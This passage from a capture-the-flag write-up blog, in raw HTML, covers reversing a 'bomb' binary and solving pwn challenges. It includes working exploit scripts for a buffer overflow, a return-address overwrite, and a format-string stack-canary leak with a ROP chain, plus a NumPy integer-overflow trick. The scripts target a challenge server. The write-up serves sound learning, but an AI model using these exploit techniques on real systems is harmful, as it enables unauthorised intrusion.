href=\"/static/0de1eeddd05e643e2a7b25f83ed4e57b/59415/image.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 118.33333333333333%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAYCAYAAAD6S912AAAACXBIWXMAAAsTAAALEwEAmpwYAAACbElEQVQ4y6VViXKbMBT0/39fM018gG3MjQDdEoe3TzR1kh42STXzkIdjZ9/uPnnT5c/g4ju6DuAcYGyCMSOAK65XuobLJ9am5wIDfT+MI+ZZ0q1fYNdlD+szoBshBOJsRNXkEAvTA8bR3YC+wJBjlwzYHnvULIPgzxCqQN7lN7BPMpQ4Zh5P0YC65TD6CNZFOBTRT4av7d+r991spFQ4FxNeTgPavoczMTqeIGnOq1m9B99walkZBakNlaPfEtb16KSEJ7fG0VJpDJ6TcQ56NFCDgh0MHD0ztH/UkFiFqqsEeVHgcBR43nF82zoc4hYt20LKM/ruDC4TlDzGhbTepwxxwZHWJclUwNoOznlstJZL/l62QBx7tK0jtwGlQg0UpXlFy/Nby0JwQp8o0ID3uGXv7xp91OuKP2O1acnZqppQlpp2Qex6+GmA9Rbz9Du7fwB/NCWAWGRZTIA59vsY2/0WUR7hIi8oKJOpSpGKFNM0PcwlxYZDa+BMKcnzkdqf78bjIWCIjXOc9KMMOommqVHVFZhu0Np2qVKXUE6tmhqKjUCaekSRwW5ncblQDIyG8mrJm3nNnR/9OkDGehwOwNNTqIl07B+2/IChJIYghqFmio/4P8DgMmOKYsPJaYnT6UIalmhIQ2bZm4Z2pYZdFzR0NCWWWjeLhlrTbHu5aKcHDeEF3ODWAvYUl8CsJ1BJOTwtDGtdozY1GtOgoFmVVq4FDJMyEDNLoJbYVjTDkpgZOln04nJgu9rlcB5WlUJR9MhyhSTJSFPSz7CbhoHp6hwuH9PB0DRXOveAe++vcllKeRv89/9y9476e+sHAs9SAxI3MEMAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/0de1eeddd05e643e2a7b25f83ed4e57b/8ac56/image.webp 240w,\n/static/0de1eeddd05e643e2a7b25f83ed4e57b/d3be9/image.webp 480w,\n/static/0de1eeddd05e643e2a7b25f83ed4e57b/039fe/image.webp 575w\"\n              sizes=\"(max-width: 575px) 100vw, 575px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/0de1eeddd05e643e2a7b25f83ed4e57b/8ff5a/image.png 240w,\n/static/0de1eeddd05e643e2a7b25f83ed4e57b/e85cb/image.png 480w,\n/static/0de1eeddd05e643e2a7b25f83ed4e57b/59415/image.png 575w\"\n            sizes=\"(max-width: 575px) 100vw, 575px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/0de1eeddd05e643e2a7b25f83ed4e57b/59415/image.png\"\n            alt=\"image.png\"\n            title=\"image.png\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>For starters, I looked at the first step, <code class=\"language-text\">main.phase_1</code>.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 577px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/03cff6c6612578548832e3acf4d6f5bc/065e2/image-1.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 136.66666666666666%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAbCAYAAAB836/YAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC10lEQVRIx51VDW+bMBTk//+3SVu7KctIQgkNX+HDYLAxNtwO2m1VU02klh4ggc/33rt3eGUzQkqgrgEhlrtD11kAM+aZ1+Vyx/K0Nui1gxkFnCMypvXFC858P2AhJpwTCdUfyW4PperXV/eDrYB5ZfHod4iSmikfmH6Ess3JeHxleifDa23xda+xfxrQNCEa4SMXFxj7SUAhHfzzgNNlQCtTtG0AY7q/YHcDlsJiF2iCGjJMGD5G036K3QqYlSO+7BR2J4VaPEHUO1xFBOumz6VckOH3A2sYaogmIsMD2r7EtALNf9P+X7w92Ktbh5/BgGM0sMMvKXeqwqsM8Yfge6Kv592Ae70ekVcGS3OUFjBDibovMFrzpjFu3e3mJSayn9YBmGFvU+77DmURUIMJkqvE+bmBH8hVRnHyvJagrg+oymekTYCLOOJSJAiSEn6Ss+4aWpUciAojtetZHuL7DofDgCBQuMQaaQ6k2YiuV5gmw3Cw/HDm8zxZjuhEac0UPxjLO80Y+N0Eb/k4TefVGBbwl/S2rlsFeEr1TKumw2jkWYH0EiMVGdI+Q6EKxF2Mois+bMBH4UnZIEkippohzGrEbQvFWjgytUxvdON6XwE3GIa3MAvDAudzg7iUkLqG1hXsqN8lN3+U4S2gpFzCcGAYdthyUhQBWxbervv/iXfeNNueMRVk+5NTEiLKJE6cmDwF2k5SBiUMGU/Obh5DOnbBDu+otRD76gnfsj20nRmOYdGYAYO1m92HDAUt60TQy9rNS3PGta9Qagkx0DAGA3UP4Mh/Sd8fWLeYEolwqn1E7RlnRkX1/5vdba7jdb1EHD+zy1fkHKm28yGpQU3mivUbR3OX2XopG/D4CDw8AD++jzgeOzx8o+H+ysm8XLt9F2DfzxR2y6ZUZFrjFDUI8yvrat9Y13aTZQ0dqspx/Jb7RPdY/tHq5le6uYZNM6xA7zd85MZb1m+N6D/Z4/LUiwAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/03cff6c6612578548832e3acf4d6f5bc/8ac56/image-1.webp 240w,\n/static/03cff6c6612578548832e3acf4d6f5bc/d3be9/image-1.webp 480w,\n/static/03cff6c6612578548832e3acf4d6f5bc/d261b/image-1.webp 577w\"\n              sizes=\"(max-width: 577px) 100vw, 577px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/03cff6c6612578548832e3acf4d6f5bc/8ff5a/image-1.png 240w,\n/static/03cff6c6612578548832e3acf4d6f5bc/e85cb/image-1.png 480w,\n/static/03cff6c6612578548832e3acf4d6f5bc/065e2/image-1.png 577w\"\n            sizes=\"(max-width: 577px) 100vw, 577px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/03cff6c6612578548832e3acf4d6f5bc/065e2/image-1.png\"\n            alt=\"image-1.png\"\n            title=\"image-1.png\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>My reversing skills are not great, so honestly I could not tell much just by looking at this, haha.</p>\n<p>However, when I did some dynamic analysis with GDB, I found that this branch is reached no matter what random input you give it.</p>\n<p>I also found that <code class=\"language-text\">local_108</code> appears to store the input length plus the newline.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\">  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>local_108 <span class=\"token operator\">==</span> <span class=\"token number\">0x2a</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    runtime<span class=\"token punctuation\">.</span><span class=\"token function\">memequal</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span></code></pre></div>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 911px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/f51b41d1898dc5337af68ecc2af19103/636c2/image-2.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 106.25%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAVCAYAAABG1c6oAAAACXBIWXMAAAsTAAALEwEAmpwYAAADn0lEQVQ4y21VSbabQAzkMPk2NpgZ08wzePpDfja5/0UqJWEnmyz01HSDWlKpCisaCtR9g6qvESURTicXnneiP+nadV04jqPe8zzdl3UQ+Gryruy/zCrbCt3UoR4btAy8zCMulxnLMmJdJwxDh75vMYydrsexR1nmPJ+43s6ahjG6Rs0yXcmNmgfyYoX0nCKOIyTMNstSpGmsPgoDhLQoCnE8HmHbNvb7PQ6Hg663ZxtW2OcwNTO4faG/fsGUNYPFWNYVbdehYDZd1+JsDEye43B0NKC0QQJKkFdACW7F7OG5qNDPd/TLA6YoUVQ1xusH5vsnnyucz2dMy4punNAw+MAyiyLXi199fWVtBdUZhcmQhCE8HqRpwgAsMY6RpCkzcfVmKVVAKAqj59IW8Vl2Vi8Za8CwzlA1DTJmEsQZPD8gio7eHj77Jh+/0Jcyd7v9s9x/9rdkCdiyjJpBpUcmNxrsNRIyIr7vaQZiUpqYfPw/s8LGcBxaJMzCtvdwJXUevL29Yb+TbHb4wbUtWRCAHf0P7mlWz73NtiytqC9gmoIjU8BnefbJgYkTZOzhIfS03CozOHJ98F1kSYIhLzQBJ/Jx9AlIQGBitooYWH4UEbkGPYe2qiuUMqRto2Z4SUaEZT7rtkVZlRiHHiPXgU+mEKiq2b7xuXZPZIr05/v7A+/vV53823XBTJYIU6QVGVHN8gy/fn9jXLlHu37e0JJdUZbAcTdaHuytbEtK+vi443ZflUZCqWkaMNOatkY51MhKg/XnFf1lQLuQblde+HlBOdbst629/guK3PD+fsP9cVGuSmbT1KtvWxnqiH0MsC4NL8hRVZyKpy+KFB776Eh/nxS0Eg7yQhGY50H5azjkYjKwsQ6zx7HxuZdo4DgKkPK9JCanOZtHUSP6g47SEdbMEnPSzVQd0qJho1O4no/IEMm8QpLlSIlyZnKloDBIfEhmSbs8vitsEoQ9XmxJaR2Ra4YZw3Ilai2tRMmmVyJdPJMWSAVXAiYSJRImkiU9b9nnnKDJs7xjzdS/kQD046gCIAojhyMRrqg0uTmr/gl7crJIpMxwT1ry2pNMhVnSGutBMOq2I3oflLCfWrqUNM4LCspalGzElw9EIISOwu9N0U8KxkvGxFtfXw+WPKoWzo9fyOtNkYdpRJye4QchAx719i3QJv/b70G4/U9gFeVlnZGTCUU387+yKAgvpOXWTQwcRdCmHZ7rTWhpKhru5on4H6V9q4yzKFmcAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/f51b41d1898dc5337af68ecc2af19103/8ac56/image-2.webp 240w,\n/static/f51b41d1898dc5337af68ecc2af19103/d3be9/image-2.webp 480w,\n/static/f51b41d1898dc5337af68ecc2af19103/19a92/image-2.webp 911w\"\n              sizes=\"(max-width: 911px) 100vw, 911px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/f51b41d1898dc5337af68ecc2af19103/8ff5a/image-2.png 240w,\n/static/f51b41d1898dc5337af68ecc2af19103/e85cb/image-2.png 480w,\n/static/f51b41d1898dc5337af68ecc2af19103/636c2/image-2.png 911w\"\n            sizes=\"(max-width: 911px) 100vw, 911px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/f51b41d1898dc5337af68ecc2af19103/636c2/image-2.png\"\n            alt=\"image-2.png\"\n            title=\"image-2.png\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>So <code class=\"language-text\">main_phase1</code> seems to take a 41-character input and compare it against the string at <code class=\"language-text\">0x4d7f94</code>.</p>\n<p>So I entered <code class=\"language-text\">For whom the bell tolls. Time marches on.</code> and cleared the first hurdle.</p>\n<p>Next, I looked at <code class=\"language-text\">main_phase2</code>.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 515px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/2801d3e681712686242d3cb35e898927/fbdcb/image-3.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 177.08333333333331%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAjCAYAAACU9ioYAAAACXBIWXMAAAsTAAALEwEAmpwYAAADyklEQVRIx6VWiXbbNhDU/39cXpu06YtjWwdFEgQB3gAlXtNZyE4s1wftQlpJj6QGs7uzu9jkuYatJ9zse0TZgLpRcO0WpjzgYCJgkTdfC3+sWJtMpVBmxJ83HrfRGQWBuuYnr/3Ebba9AlxjmyxTMNWE7/c9dsmAqo7RtXfIiy22ehcAZT1l+Jzs03ubNE3R+hmxPiMvFzhfo/cZ6s5C1/bC8ApgfvicMS3z436Y5bcwTNMM51NDVgeMQw5bVrDVCU2t6H6JzHgURYLOHVDXW1oMxWeSOkVU3iOvjrBtDsXYLzMB4zjG6QRstzX2e4vdLsfdXY04zpEkBY7HkiA5zmcL78V6enJG13m4zvC/Ob1qMU3Tb5fFpR3DdX8PZBnI6IRxBCaxaV12H2O5SZIEfT/CGKBtlwA0DIzJLEDLrwfX2O+ktCe6WEKpjkwd3axhbUJ241UW12hxo1QG5wSQWdUV0rSjFQSM/gO4StjCsOt6sjIEKvndhGRYe/wcoFKKgE8ZugAsUpnnTzKUGB4OeQDd7zuytEzStcvPg//aJiGG3p/IyiLPK8rG0arA8FOAImwR6eGgHxg2iCJhePgF+JLeXu82mWYVtKgqKS3FZOR0+Y6M76lPS002qPoC2mvUfR3K602GIuyyZC+MCrK0ZKloCSQU/clyswrGZYi7GKUrmaj5bcCMtSZJyTJLK+iqxJJNwkqdlmwcFZmVyHsTGL4LKDFsmp6sTNBikiiyjehyQkCLU09wp5G4BIUr1jEUHWpd0E1hmUOuyWi4MCxQeoNMYuhXMTwyGReGYtIfRZvSyYWhABY+R+oUKl+tj2GamqBFrU0A1FoYFnTZkOEFcFVSFIdU00jpsZlSh2r3BaVOOVuKkOHh3MANLepzDT/494UtLkrXLcvvzOxX7OK/qcmaHSjiRrfwzPCHhC1ZlfZelv+gIug+/cG5UqJtIsb2hmVpHkDmdaV3YahZu9/I8A/O5m8wtmBc99zkLyogu6rnVd3Ge0ewLV38AW3uUDVsX3VC0ISl5z4GKMKWgaVS1jE7jOl4FOEGA4fLQ0Kv3Hz35CAMZWm9INENNOdrVR85Itswop6DPU/O8/sbKTNZIxnlZkZhR3aU4TJnl7dH5otHkSS5MGxbDu+2YDylP7J6miNauu99RxUUbGU8ovQNTYZaGuIrVeR6tr7GsWwXPjdhczzGYdA719JyAlQ0dTnjnH3of/MyMZ6PNj6xKVSO2DguYZYHhuKeMRN3xf9eoTk0zcBmMAXK+MBZ8MUsyxgdxykcQT5yQnht/QsFgKHa1FoSDQAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/2801d3e681712686242d3cb35e898927/8ac56/image-3.webp 240w,\n/static/2801d3e681712686242d3cb35e898927/d3be9/image-3.webp 480w,\n/static/2801d3e681712686242d3cb35e898927/92849/image-3.webp 515w\"\n              sizes=\"(max-width: 515px) 100vw, 515px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/2801d3e681712686242d3cb35e898927/8ff5a/image-3.png 240w,\n/static/2801d3e681712686242d3cb35e898927/e85cb/image-3.png 480w,\n/static/2801d3e681712686242d3cb35e898927/fbdcb/image-3.png 515w\"\n            sizes=\"(max-width: 515px) 100vw, 515px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/2801d3e681712686242d3cb35e898927/fbdcb/image-3.png\"\n            alt=\"image-3.png\"\n            title=\"image-3.png\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<h2 id=\"pwn\" style=\"position:relative;\"><a href=\"#pwn\" aria-label=\"pwn permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Pwn</h2>\n<h3 id=\"a-kind-of-magic\" style=\"position:relative;\"><a href=\"#a-kind-of-magic\" aria-label=\"a kind of magic permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>A Kind of Magic</h3>\n<p>This was a basic buffer overflow challenge.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">from</span> ptrlib <span class=\"token keyword\">import</span> <span class=\"token operator\">*</span>\nelf <span class=\"token operator\">=</span> ELF<span class=\"token punctuation\">(</span><span class=\"token string\">\"./pwn01\"</span><span class=\"token punctuation\">)</span>\nnopsled <span class=\"token operator\">=</span> <span class=\"token string\">b\"\\x41\"</span><span class=\"token operator\">*</span><span class=\"token number\">44</span>\nshellcode <span class=\"token operator\">=</span> <span class=\"token string\">b\"\\x39\\x05\\x00\\x00\"</span>\npayload <span class=\"token operator\">=</span> nopsled <span class=\"token operator\">+</span> shellcode\n\nsock <span class=\"token operator\">=</span> Socket<span class=\"token punctuation\">(</span><span class=\"token string\">\"143.198.184.186\"</span><span class=\"token punctuation\">,</span> <span class=\"token number\">5000</span><span class=\"token punctuation\">)</span>\nsock<span class=\"token punctuation\">.</span>sendline<span class=\"token punctuation\">(</span>payload<span class=\"token punctuation\">)</span>\nsock<span class=\"token punctuation\">.</span>interactive<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p>I wasted time because I hard-coded the little-endian byte sequence incorrectly, so lesson learned.</p>\n<h3 id=\"hammertofall\" style=\"position:relative;\"><a href=\"#hammertofall\" aria-label=\"hammertofall permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>HammerToFall</h3>\n<p>This one was pretty interesting.</p>\n<p>The goal was to find an input that makes the following Python script print <code class=\"language-text\">flag!</code>.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">import</span> numpy <span class=\"token keyword\">as</span> np\n\na <span class=\"token operator\">=</span> np<span class=\"token punctuation\">.</span>array<span class=\"token punctuation\">(</span><span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span> dtype<span class=\"token operator\">=</span><span class=\"token builtin\">int</span><span class=\"token punctuation\">)</span>\nval <span class=\"token operator\">=</span> <span class=\"token builtin\">int</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">input</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"This hammer hits so hard it creates negative matter\\n\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">if</span> val <span class=\"token operator\">==</span> <span class=\"token operator\">-</span><span class=\"token number\">1</span><span class=\"token punctuation\">:</span>\n\texit<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\na<span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> val\na<span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">*</span> <span class=\"token number\">7</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token number\">1</span>\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">if</span> a<span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token operator\">-</span><span class=\"token number\">1</span><span class=\"token punctuation\">:</span>\n\t<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"flag!\"</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p>NumPy integers are limited to the range of signed 64-bit integers, and overflowed values are interpreted as the corresponding negative numbers. (If you are curious, look up two’s complement.)</p>\n<p>So the correct input is <code class=\"language-text\">2635249153387078802</code>, because multiplying it by 7 and adding 1 causes an overflow that is interpreted as exactly <code class=\"language-text\">-1</code>.</p>\n<h3 id=\"zoom2win\" style=\"position:relative;\"><a href=\"#zoom2win\" aria-label=\"zoom2win permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>zoom2win</h3>\n<p>This was a simple ROP challenge, but the binary was 64-bit, and I got caught by the stack-alignment trap: the exploit worked locally but would not land remotely.</p>\n<p>I used the following article as a reference and recovered the flag by skipping <code class=\"language-text\">push rbp</code> so the return-address byte count stayed aligned.</p>\n<p>Reference: <a href=\"https://qiita.com/ssssssssok1/items/b8ffca6b68149812c335\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">[Repost] Stack Alignment in Pwn - Qiita</a></p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">from</span> pwn <span class=\"token keyword\">import</span> <span class=\"token operator\">*</span>\n\nelf <span class=\"token operator\">=</span> ELF<span class=\"token punctuation\">(</span><span class=\"token string\">\"/home/parrot/Downloads/zoom2win\"</span><span class=\"token punctuation\">)</span>\ncontext<span class=\"token punctuation\">.</span>binary <span class=\"token operator\">=</span> elf\n\np <span class=\"token operator\">=</span> remote<span class=\"token punctuation\">(</span><span class=\"token string\">\"143.198.184.186\"</span><span class=\"token punctuation\">,</span> <span class=\"token number\">5003</span><span class=\"token punctuation\">)</span>\nnopsled <span class=\"token operator\">=</span> <span class=\"token string\">b\"\\x41\"</span><span class=\"token operator\">*</span><span class=\"token number\">40</span>\nshellcode <span class=\"token operator\">=</span> p64<span class=\"token punctuation\">(</span><span class=\"token number\">0x40119b</span><span class=\"token punctuation\">)</span>\npayload <span class=\"token operator\">=</span> nopsled <span class=\"token operator\">+</span> shellcode\np<span class=\"token punctuation\">.</span>sendline<span class=\"token punctuation\">(</span>payload<span class=\"token punctuation\">)</span>\np<span class=\"token punctuation\">.</span>interactive<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p>This solver got the flag.</p>\n<h3 id=\"tweetbird\" style=\"position:relative;\"><a href=\"#tweetbird\" aria-label=\"tweetbird permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>tweetbird</h3>\n<p>This challenge was about bypassing a stack canary and landing a ROP chain.</p>\n<p>I managed to use a format-string attack to leak the canary bytes from memory, but for some reason the exploit still did not land, so I gave up.</p>\n<p>Later I realized the problem: I was converting the leaked bytes from memory into little-endian before putting them into the payload, but since they were already leaked from memory, they were already in little-endian format… orz</p>\n<p>So once I embedded the leaked canary bytes directly into the payload, the ROP chain worked and I got the flag.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">from</span> pwn <span class=\"token keyword\">import</span> <span class=\"token operator\">*</span>\nelf <span class=\"token operator\">=</span> ELF<span class=\"token punctuation\">(</span><span class=\"token string\">\"/home/parrot/Downloads/tweetybirb\"</span><span class=\"token punctuation\">)</span>\ncontext<span class=\"token punctuation\">.</span>binary <span class=\"token operator\">=</span> elf\nnopsled <span class=\"token operator\">=</span> <span class=\"token string\">b\"\\x41\"</span><span class=\"token operator\">*</span><span class=\"token number\">72</span>\npayload <span class=\"token operator\">=</span> nopsled\n\np <span class=\"token operator\">=</span> process<span class=\"token punctuation\">(</span><span class=\"token string\">\"/home/parrot/Downloads/tweetybirb\"</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\"># p = remote(\"143.198.184.186\", 5002)</span>\n<span class=\"token comment\"># shellcode = p64(0xc6a8b9f731892800)</span>\n<span class=\"token comment\"># p.sendline(payload)</span>\n<span class=\"token comment\"># p.sendline(b\"A\"*72 + b\"%08x.\"*20)</span>\nr <span class=\"token operator\">=</span> p<span class=\"token punctuation\">.</span>recvline<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\np<span class=\"token punctuation\">.</span>sendline<span class=\"token punctuation\">(</span><span class=\"token string\">\"%15$p\"</span><span class=\"token punctuation\">)</span>\nr <span class=\"token operator\">=</span> p<span class=\"token punctuation\">.</span>recvline<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\nshellcode <span class=\"token operator\">=</span> p64<span class=\"token punctuation\">(</span><span class=\"token builtin\">int</span><span class=\"token punctuation\">(</span>r<span class=\"token punctuation\">.</span>strip<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\nshellcode2 <span class=\"token operator\">=</span> p64<span class=\"token punctuation\">(</span><span class=\"token number\">0x4011db</span><span class=\"token punctuation\">)</span>\np<span class=\"token punctuation\">.</span>sendline<span class=\"token punctuation\">(</span>payload <span class=\"token operator\">+</span> shellcode <span class=\"token operator\">+</span> <span class=\"token string\">b'\\x41'</span><span class=\"token operator\">*</span><span class=\"token number\">8</span> <span class=\"token operator\">+</span> shellcode2<span class=\"token punctuation\">)</span>\np<span class=\"token punctuation\">.</span>interactive<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p>This works.</p>\n<h2 id=\"forensic\" style=\"position:relative;\"><a href=\"#forensic\" aria-label=\"forensic permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" 